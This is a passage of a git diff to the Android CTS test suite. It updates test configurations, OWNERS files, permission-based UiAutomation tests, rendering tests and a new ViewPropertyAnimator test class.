+                int julianDay = Time.getJulianDay(millis, localDateTimeOffset.getTotalSeconds());
+
+                assertEquals("Julian day: " + julianDay + " at time "
+                                + hour + ":" + minute
+                                + " != today's Julian day: " + expectedJulianDay
+                                + " millis: " + millis
+                                + " localDatetime: " + localDateTime
+                                + " timeZone: " + timeZone,
+                        julianDay, expectedJulianDay);
             }
         }
     }
diff --git a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
index 7dca324..e0829d9 100644
--- a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
@@ -16,6 +16,8 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Canvas;
 import android.graphics.Paint;
 import android.graphics.Paint.FontMetricsInt;
@@ -42,6 +44,16 @@
         replacementSpan.updateDrawState(null);
     }
 
+    @Test
+    public void testContentDescription() {
+        final String testContentDescription = "testContentDescription";
+        ReplacementSpan replacementSpan = new MockReplacementSpan();
+
+        replacementSpan.setContentDescription(testContentDescription);
+
+        assertEquals(testContentDescription, replacementSpan.getContentDescription());
+    }
+
     private class MockReplacementSpan extends ReplacementSpan {
         @Override
         public void draw(Canvas canvas, CharSequence text, int start, int end,
diff --git a/tests/tests/toast/AndroidTest.xml b/tests/tests/toast/AndroidTest.xml
index 9d9cf47..4195e03 100644
--- a/tests/tests/toast/AndroidTest.xml
+++ b/tests/tests/toast/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/toast/OWNERS b/tests/tests/toast/OWNERS
new file mode 100644
index 0000000..5cb1f47
--- /dev/null
+++ b/tests/tests/toast/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 137825
+svetoslavganov@google.com
+moltmann@google.com
+toddke@google.com
diff --git a/tests/tests/toastlegacy/OWNERS b/tests/tests/toastlegacy/OWNERS
new file mode 100644
index 0000000..d21846d
--- /dev/null
+++ b/tests/tests/toastlegacy/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+include ../toast/OWNERS
diff --git a/tests/tests/tools/processors/view_inspector/OWNERS b/tests/tests/tools/processors/view_inspector/OWNERS
new file mode 100644
index 0000000..1572c57
--- /dev/null
+++ b/tests/tests/tools/processors/view_inspector/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 25700
+ashleyrose@google.com
+aurimas@google.com
diff --git a/tests/tests/transition/AndroidManifest.xml b/tests/tests/transition/AndroidManifest.xml
index c825653..f2d7001 100644
--- a/tests/tests/transition/AndroidManifest.xml
+++ b/tests/tests/transition/AndroidManifest.xml
@@ -18,7 +18,7 @@
     package="android.transition.cts">
     <uses-permission android:name="android.permission.INJECT_EVENTS" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <application android:theme="@style/Theme_NoSwipeDismiss">
+    <application>
         <activity android:name="android.transition.cts.TransitionActivity"
             android:label="TransitionActivity"/>
         <activity android:name="android.transition.cts.TargetActivity"
diff --git a/tests/tests/transition/AndroidTest.xml b/tests/tests/transition/AndroidTest.xml
index 043ac02..536338e 100644
--- a/tests/tests/transition/AndroidTest.xml
+++ b/tests/tests/transition/AndroidTest.xml
@@ -20,6 +20,7 @@
          respect to transition tests, so don't run these in instant apps. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTransitionTestCases.apk" />
diff --git a/tests/tests/transition/OWNERS b/tests/tests/transition/OWNERS
new file mode 100644
index 0000000..ddf86d4
--- /dev/null
+++ b/tests/tests/transition/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 25700
+mount@google.com
+andreykulikov@google.com
+tianliu@google.com
diff --git a/tests/tests/transition/res/values/styles.xml b/tests/tests/transition/res/values/styles.xml
deleted file mode 100644
index be2272e..0000000
--- a/tests/tests/transition/res/values/styles.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-         http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
-     -->
-<resources xmlns:android="http://schemas.android.com/apk/res/android">
-  <style name="Theme_NoSwipeDismiss" parent="android:Theme.DeviceDefault">
-    <item name="android:windowSwipeToDismiss">false</item>
-  </style>
-</resources>
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 8df3484..2301438 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -72,6 +72,7 @@
     @Override
     public void setup() {
         super.setup();
+        ActivityOptions.setExitTransitionTimeout(10000);
         setTransitions(new TrackingVisibility(), new TrackingVisibility(),
                 new TrackingTransition());
     }
@@ -102,6 +103,7 @@
             }
         });
         TargetActivity.clearCreated();
+        ActivityOptions.setExitTransitionTimeout(1000);
     }
 
     // When using ActivityOptions.makeBasic(), no transitions should run
diff --git a/tests/tests/tv/AndroidTest.xml b/tests/tests/tv/AndroidTest.xml
index 742a13b..7370234 100644
--- a/tests/tests/tv/AndroidTest.xml
+++ b/tests/tests/tv/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Instant apps for TV is not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvTestCases.apk" />
diff --git a/tests/tests/uiautomation/Android.bp b/tests/tests/uiautomation/Android.bp
index c9d9108..6a0ba7c 100644
--- a/tests/tests/uiautomation/Android.bp
+++ b/tests/tests/uiautomation/Android.bp
@@ -22,7 +22,7 @@
         "general-tests",
     ],
     static_libs: [
-        "compatibility-device-util-axt",
+        "CtsAccessibilityCommon",
         "ctstestrunner-axt",
         "ub-uiautomator",
     ],
diff --git a/tests/tests/uiautomation/AndroidManifest.xml b/tests/tests/uiautomation/AndroidManifest.xml
index af4f4cd..75eab20 100644
--- a/tests/tests/uiautomation/AndroidManifest.xml
+++ b/tests/tests/uiautomation/AndroidManifest.xml
@@ -21,10 +21,12 @@
         android:targetSandboxVersion="2">
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
   <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-  <uses-permission android:name="android.permission.CAMERA" />
+  <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
 
-  <application android:theme="@android:style/Theme.Holo.NoActionBar" >
+  <application android:theme="@android:style/Theme.Holo.NoActionBar"
+          android:requestLegacyExternalStorage="true">
 
       <uses-library android:name="android.test.runner"/>
 
diff --git a/tests/tests/uiautomation/AndroidTest.xml b/tests/tests/uiautomation/AndroidTest.xml
index f5cf748..d5b2c92 100644
--- a/tests/tests/uiautomation/AndroidTest.xml
+++ b/tests/tests/uiautomation/AndroidTest.xml
@@ -18,15 +18,20 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiAutomationTestCases.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="pm revoke android.app.uiautomation.cts android.permission.CAMERA" />
+        <option name="run-command" value="pm revoke android.app.uiautomation.cts android.permission.ANSWER_PHONE_CALLS" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.app.uiautomation.cts" />
         <option name="runtime-hint" value="6m42s" />
     </test>
+    <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+        <option name="directory-keys" value="/sdcard/android.app.uiautomation.cts" />
+        <option name="collect-on-run-ended-only" value="true" />
+    </metrics_collector>
 </configuration>
diff --git a/tests/tests/uiautomation/OWNERS b/tests/tests/uiautomation/OWNERS
index bbcb1a7..a98c458 100644
--- a/tests/tests/uiautomation/OWNERS
+++ b/tests/tests/uiautomation/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 44215
-pweaver@google.com
\ No newline at end of file
+pweaver@google.com
+rhedjao@google.com
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationLogRule.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationLogRule.java
deleted file mode 100644
index 3f81d3a..0000000
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationLogRule.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.uiautomation.cts;
-
-import android.app.UiAutomation;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.IOException;
-
-/**
- * Improves UiAutomationTest logging, dumps log when a test case gets failed.
- *
- *  <ol>
- *    <li>Call {@code dumpsys accessibility}.
- *  </ol>
- */
-public final class UiAutomationLogRule implements TestRule {
-
-    private final String mTestName;
-
-    public UiAutomationLogRule(@NonNull String testName) {
-        mTestName = testName;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-            @Override
-            public void evaluate() throws Throwable {
-                Throwable throwable = null;
-                // First run the test
-                try {
-                    base.evaluate();
-                } catch (Throwable t) {
-                    throwable = t;
-                }
-
-                // Ignore AssumptionViolatedException. It's not a test fail.
-                if (throwable != null && throwable instanceof AssumptionViolatedException) {
-                    throwable = null;
-                }
-
-                if (throwable != null) {
-                    try {
-                        Log.e(mTestName, "TEST FAIL");
-                        dump();
-                    } catch (Throwable t) {
-                        Log.e(mTestName, "Dump fail", t);
-                    }
-                }
-
-                // Finally, throw exception!
-                if (throwable == null) return;
-                throw throwable;
-            }
-        };
-    }
-
-    private void dump() throws IOException {
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation(
-                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
-        try {
-            final String a11yDump = SystemUtil.runShellCommand(
-                    uiAutomation, "dumpsys accessibility");
-            Log.e(mTestName, "==== dumpsys accessibility ====\n" + a11yDump);
-        } finally {
-            uiAutomation.destroy();
-        }
-    }
-}
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index 828d9b5..9135e56 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -17,13 +17,13 @@
 package android.app.uiautomation.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.Manifest;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Activity;
 import android.app.ActivityManager;
@@ -71,8 +71,8 @@
     private static final int TIMEOUT_FOR_SERVICE_ENABLE = 10000; // millis; 10s
 
     @Rule
-    public final UiAutomationLogRule mLogRule = new UiAutomationLogRule(
-            UiAutomationTest.class.getSimpleName());
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
 
     @Before
     public void setUp() throws Exception {
@@ -99,7 +99,7 @@
         }
         try {
             packageManager.grantRuntimePermission(context.getPackageName(),
-                    Manifest.permission.CAMERA, Process.myUserHandle());
+                    Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
             fail("Should not be able to access APIs protected by a permission apps cannot get");
         } catch (SecurityException e) {
             /* expected */
@@ -113,17 +113,17 @@
             activityManager.getPackageImportance("foo.bar.baz");
 
             // Grant ourselves a runtime permission (was granted at install)
-            assertSame(packageManager.checkPermission(Manifest.permission.CAMERA,
+            assertSame(packageManager.checkPermission(Manifest.permission.ANSWER_PHONE_CALLS,
                     context.getPackageName()), PackageManager.PERMISSION_DENIED);
             packageManager.grantRuntimePermission(context.getPackageName(),
-                    Manifest.permission.CAMERA, Process.myUserHandle());
+                    Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
         } catch (SecurityException e) {
             fail("Should be able to access APIs protected by a permission apps cannot get");
         } finally {
             getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
         }
         // Make sure the grant worked
-        assertSame(packageManager.checkPermission(Manifest.permission.CAMERA,
+        assertSame(packageManager.checkPermission(Manifest.permission.ANSWER_PHONE_CALLS,
                 context.getPackageName()), PackageManager.PERMISSION_GRANTED);
 
 
@@ -136,7 +136,7 @@
         }
         try {
             packageManager.revokeRuntimePermission(context.getPackageName(),
-                    Manifest.permission.CAMERA, Process.myUserHandle());
+                    Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
             fail("Should not be able to access APIs protected by a permission apps cannot get");
         } catch (SecurityException e) {
             /* expected */
diff --git a/tests/tests/uidisolation/OWNERS b/tests/tests/uidisolation/OWNERS
new file mode 100644
index 0000000..94522e3
--- /dev/null
+++ b/tests/tests/uidisolation/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+include /tests/tests/security/OWNERS
diff --git a/tests/tests/uirendering/AndroidTest.xml b/tests/tests/uirendering/AndroidTest.xml
index 8e17ab5..150c7c5 100644
--- a/tests/tests/uirendering/AndroidTest.xml
+++ b/tests/tests/uirendering/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiRenderingTestCases.apk" />
diff --git a/tests/tests/uirendering/res/layout/viewpropertyanimator_test_layout.xml b/tests/tests/uirendering/res/layout/viewpropertyanimator_test_layout.xml
new file mode 100644
index 0000000..b6f67d8
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/viewpropertyanimator_test_layout.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+             android:background="#FFFFFF"
+             android:layout_width="match_parent"
+             android:layout_height="match_parent">
+    <FrameLayout
+        android:id="@+id/viewalpha_test_container"
+        android:background="#0000FF"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+            <android.uirendering.cts.testclasses.view.AlphaTestView
+                android:id="@+id/alpha_test_view"
+                android:layout_width="100px"
+                android:layout_height="100px"
+            />
+    </FrameLayout>
+</FrameLayout>
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
index edeb2e8..f9f47a9 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
@@ -26,10 +26,11 @@
 import android.graphics.PorterDuffXfermode;
 import android.graphics.drawable.ColorDrawable;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
+import android.uirendering.cts.runner.SkipPresubmit;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 
-import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -38,7 +39,8 @@
 
 import java.util.List;
 
-@LargeTest // Temporarily hidden from presubmit
+@SkipPresubmit // Temporarily hidden from presubmit
+@MediumTest
 @RunWith(Parameterized.class)
 public class ColorFilterAlphaTest extends ActivityTestBase {
     // We care about one point in each of the four rectangles of different alpha values, as well as
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index b6a09c0..1a7151b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -225,6 +225,7 @@
             NinePatchDrawable ninePatch = (NinePatchDrawable) Drawable.createFromResourceStream(
                     mRes, null, is, null, HARDWARE_OPTIONS);
             ninePatch.setBounds(0, 0, width, height);
+            ninePatch.setFilterBitmap(false);
             ninePatch.draw(canvas);
         }, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
                 R.drawable.golden_hardwaretest_ninepatch, new MSSIMComparer(0.95)));
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index db37463..f42b004 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -562,8 +562,10 @@
                     // Adjust Y to match the same gradient percentage, regardless of vertical
                     // fading edge length.
                     int verticalFadingEdgeLength = webview.getVerticalFadingEdgeLength();
-                    testPoints[2].y = TEST_HEIGHT - verticalFadingEdgeLength * 10 / 42;
-                    testPoints[3].y = TEST_HEIGHT - verticalFadingEdgeLength * 5 / 42;
+                    testPoints[2].y = TEST_HEIGHT
+                        - (int) Math.round(verticalFadingEdgeLength * 10.0 / 42);
+                    testPoints[3].y = TEST_HEIGHT
+                        - (int) Math.round(verticalFadingEdgeLength * 5.0 / 42);
                 }, true, hwFence)
                 .runWithVerifier(new SamplePointVerifier(
                         testPoints,
@@ -603,8 +605,10 @@
                     // Adjust Y to match the same gradient percentage, regardless of vertical
                     // fading edge length.
                     int verticalFadingEdgeLength = webview.getVerticalFadingEdgeLength();
-                    testPoints[3].y = TEST_HEIGHT - verticalFadingEdgeLength * 10 / 42;
-                    testPoints[4].y = TEST_HEIGHT - verticalFadingEdgeLength * 5 / 42;
+                    testPoints[3].y = TEST_HEIGHT
+                        - (int) Math.round(verticalFadingEdgeLength * 10.0 / 42);
+                    testPoints[4].y = TEST_HEIGHT
+                        - (int) Math.round(verticalFadingEdgeLength * 5.0 / 42);
                 }, true, hwFence)
                 .runWithVerifier(new SamplePointVerifier(
                         testPoints,
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewPropertyAnimatorTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewPropertyAnimatorTests.java
new file mode 100644
index 0000000..0f749d9
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewPropertyAnimatorTests.java
@@ -0,0 +1,542 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.animation.Animator;
+import android.animation.AnimatorListenerAdapter;
+import android.graphics.Color;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testclasses.view.AlphaTestView;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.View;
+import android.view.ViewPropertyAnimator;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewPropertyAnimatorTests extends ActivityTestBase {
+
+    @Test
+    public void testViewCustomAlpha() {
+        createViewPropertyAnimatorTest(new ViewPropertyAnimatorTestDelegate<AlphaTestView>() {
+            @Override
+            public void configureView(AlphaTestView target) {
+                target.setStartColor(Color.RED);
+                target.setEndColor(Color.BLUE);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.alpha(0.0f);
+            }
+
+            @Override
+            public void verifyViewState(AlphaTestView target) {
+                assertEquals(Color.BLUE, target.getBlendedColor());
+            }
+
+        }).runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+
+    @Test
+    public void testViewNonCustomAlpha() {
+        final CountDownLatch latch = new CountDownLatch(1);
+        createTest().addLayout(R.layout.viewpropertyanimator_test_layout,
+                (ViewInitializer) view -> {
+                    View testContent = view.findViewById(R.id.viewalpha_test_container);
+                    testContent.animate().alpha(0.0f).setListener(new AnimatorListenerAdapter() {
+                        @Override
+                        public void onAnimationEnd(Animator animation) {
+                            latch.countDown();
+                        }
+                    }).setDuration(16).start();
+                }, true, latch).runWithVerifier(new ColorVerifier(Color.WHITE));
+    }
+
+    @Test
+    public void testViewCustomAlphaBy() {
+        createViewPropertyAnimatorTest(new ViewPropertyAnimatorTestDelegate<AlphaTestView>() {
+            @Override
+            public void configureView(AlphaTestView target) {
+                target.setStartColor(Color.RED);
+                target.setEndColor(Color.BLUE);
+                target.setAlpha(0.5f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.alphaBy(-0.5f);
+            }
+
+            @Override
+            public void verifyViewState(AlphaTestView target) {
+                assertEquals(Color.BLUE, target.getBlendedColor());
+            }
+
+        }).runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+
+    @Test
+    public void testViewTranslateX() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.translationX(100.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(100.0f, target.getTranslationX());
+            }
+        });
+    }
+
+    @Test
+    public void testViewTranslateXBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setTranslationX(20.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.translationXBy(100.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(120.0f, target.getTranslationX());
+            }
+        });
+    }
+
+    @Test
+    public void testViewTranslateY() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.translationY(60.0f);
+
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(60.0f, target.getTranslationY());
+            }
+        });
+    }
+
+    @Test
+    public void testViewTranslateYBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setTranslationY(30.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.translationYBy(60.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(90.0f, target.getTranslationY());
+            }
+        });
+    }
+
+    @Test
+    public void testViewTranslateZ() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.translationZ(30.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(30.0f, target.getTranslationZ());
+            }
+        });
+    }
+
+    @Test
+    public void testViewTranslateZBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setTranslationZ(40.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.translationZBy(30.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(70.0f, target.getTranslationZ());
+            }
+        });
+    }
+
+    @Test
+    public void testViewRotation() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.rotation(20.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(20.0f, target.getRotation());
+            }
+        });
+    }
+
+    @Test
+    public void testViewRotationBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setRotation(30.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.rotationBy(20.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(50.0f, target.getRotation());
+            }
+        });
+    }
+
+    @Test
+    public void testViewRotationX() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.rotationX(80.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(80.0f, target.getRotationX());
+            }
+        });
+    }
+
+    @Test
+    public void testViewRotationXBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setRotationX(30.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.rotationXBy(80.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(110.0f, target.getRotationX());
+            }
+        });
+    }
+
+    @Test
+    public void testViewRotationY() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.rotationY(25.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(25.0f, target.getRotationY());
+            }
+        });
+    }
+
+    @Test
+    public void testViewRotationYBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setRotationY(10.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.rotationYBy(25.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(35.0f, target.getRotationY());
+            }
+        });
+    }
+
+    @Test
+    public void testViewScaleX() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.scaleX(2.5f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(2.5f, target.getScaleX());
+            }
